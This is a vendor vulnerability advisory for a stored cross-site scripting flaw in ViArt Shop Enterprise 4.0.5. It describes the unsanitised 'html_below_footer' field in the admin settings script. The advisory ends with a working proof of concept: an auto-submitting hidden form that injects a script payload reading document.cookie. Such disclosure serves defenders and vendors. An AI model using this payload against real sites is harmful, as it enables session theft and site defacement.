HTB22815: XSS vulnerability in ViArt Shop



Vulnerability ID: HTB22815
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_viart_shop_1.html
Product: ViArt Shop
Vendor: Viart Software ( http://www.viart.com/ )
Vulnerable Version: Enterprise v.4.0.5
Vendor Notification: 25 January 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/admin_global_settings.php" script to properly sanitize user-supplied input in "html_below_footer" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/admin_global_settings.php"; method="post" name="main">
<input type="hidden" name="operation" value="save">
<input type="hidden" name="rp" value="admin.php">
<input type="hidden" name="tab" value="general">
<input type="hidden" name="site_name" value="Default Site">
<input type="hidden" name="site_url" value="http://host/";>
<input type="hidden" name="admin_email" value="email@xxxxxxxxxxx">
<input type="hidden" name="layout_id" value="1">
<input type="hidden" name="password_encrypt" value="0">
<input type="hidden" name="admin_password_encrypt" value="0">
<input type="hidden" name="html_below_footer" value='12345"><script>alert(document.cookie)</script>'>

<input type="hidden" name="operation" value="save">
</form>
<script>
document.main.submit();
</script>